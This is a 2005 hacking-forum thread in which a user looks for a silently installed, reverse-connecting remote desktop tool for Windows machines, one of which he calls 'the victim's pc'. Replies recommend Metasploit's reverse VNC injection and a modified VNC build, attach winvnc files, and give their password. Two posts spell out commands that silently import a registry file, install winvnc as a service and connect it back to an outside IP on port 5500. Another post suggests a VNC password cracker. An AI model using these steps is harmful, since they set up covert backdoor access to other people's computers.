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#1 boshcash

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Posted 15 June 2005 - 09:38 AM

i searched much found nothing except not working stuff , guys i need a reliable,silent install,reverse connect remote desktop prog. , any help would be appreciated

Note : This is tool is not intended for illegal activity , i just need it to test penetration combined with other tools and privledge escalation bugs on windows systems ..

#2 ssj4conejo

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Posted 16 June 2005 - 01:47 AM

U might wana give metasploit framework a try. It has this really nice reverse connect VNC dll inject. That is kinda like remote desktop, it simply gives u a vnc session reverse. U can do pretty much the same as remote desktop, except login. Now to manually make remote desktop be reverse u'd probably need to work with netcat, i seen some guide before of making vnc connections reverse with netcat, but i dont remember the commands offhand.

#3 Partizaan

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Posted 16 June 2005 - 05:15 AM

http://www.tinyapps.org/vnc/

#4 illwill

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Posted 16 June 2005 - 09:35 AM

institution 2004 vnc by aphex works well
he basically modded the vnc source code to reverse connect

#5 boshcash

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Posted 16 June 2005 - 09:51 AM

ur right illwill thats the best out there but still having problems with it , when running at SYSTEM it doesnt work , so i get psexec then run a shell as an admin account i already added , then run it , and still dont get the remote desktop , and also i tried running explorer.exe before running it , still doesnt work except if i run it on the victim's pc through another remote desktop session or in a certain way do u have a solution for this prob illwill , do u think i may have to run the program by "explorer.exe c:\file.exe" , would it solve the prob or whats the solution ,, i appreciate any solutions or any other tools other than institution 2004 vnc ..



ALSO i discovered something which is when u run an exe as explorer.exe file.exe it doesnt actually run but asks if u want to open/save/cancel as if ur downloading it from the web ..i really dont know what to do to make my app run and show me the desktop without initiating the connection and being canceled when i run it from command line ..

#6 boshcash

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Posted 23 June 2005 - 08:44 AM

ok now im using the metasploit reverse VNC but also have a problem

VNCDLL Required PATH The full path the VNC service dll
VNCPORT Required PORT The local port to use for the VNC proxy

what should i put in these two values for the thing to work properly and how does the code use the DLL and gets it , should it be inside the vuln server or where exactly ? ..

#7 hodexut

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Posted 23 June 2005 - 06:23 PM

hi, i solved this problem when working on windows.. you must forward a port for vnc to connect and run the listener from tightvnc.com. then on your box (if you have shell) run:

winvnc /s vnc.reg
winvnc -install
winvnc
winvnc -connect 123.123.123.123

i have attached the winvnc files needed .

good luck

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  • Attached File  vnc.zip   115.39KB   145 downloads


#8 boshcash

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Posted 24 June 2005 - 06:44 AM

i didnt find the vnc listener on the site it was just the vnc viewer .. i have the i2k4 vnc listener already but which port does it connect to ?

#9 Onetaek

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Posted 25 June 2005 - 06:32 PM

Use the vnc client. I can never get it working, but it heard is hella tight! :)

#10 Tyler

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Posted 25 June 2005 - 09:29 PM

lol onetaek obvously they are going to use the vnc client to connect but they are having trouble with the remote vnc server side because they need to have it listening on a reverse connect.... so i was thinking... why would u want a reverse connect for a remote desktop app, is it so you have it running only when you want or what... i dont understand the purpose, why dont you just get it on that computer running as the server and then just connect with it via the vnc client... also i suggest you look up Ultr@ VNC where they have much more powerfull things in it like you can connect to the persons desktop via http://<ip>:<port> and control the desktop via javascript... its really quite impressive compared to the boring old VNC... http://doc.uvnc.com/install/index.html is the site... not many people know about this application.. its relaly quite amazing and it works with the normal VNC client's ... hope that helps you guys... if not sorry

#11 seppel18

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Posted 27 June 2005 - 07:48 AM

It's Like that: :P


regedit /I /S vnc.reg
winvnc -install
winvnc
winvnc -connect 123.123.123.123 5500

Use the files from hodexut and i2k4 Listener


But a st00pid Window pops up on the Desktop, so be Carefull.


And hodexut's Password is http://g :ph34r:

#12 Animanera

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Posted 17 July 2005 - 05:31 PM

wow that works quite well :D
ehi, how can i set up my own password in vnc.reg? how can i code and decode it?
thx guys

#13 triossosolfuro

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Posted 01 August 2005 - 07:45 AM

wow that works quite well :D
ehi, how can i set up my own password in vnc.reg? how can i code and decode it?
thx guys

<{POST_SNAPBACK}>



try VncCrack

#14 Aliasgar Babat

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Posted 22 October 2012 - 02:15 AM

You can try using gosupportnow.com for reliable and guaranteed remote connection. Alternatively, you may also consider having on premise remote support appliance such as rhubcom.com





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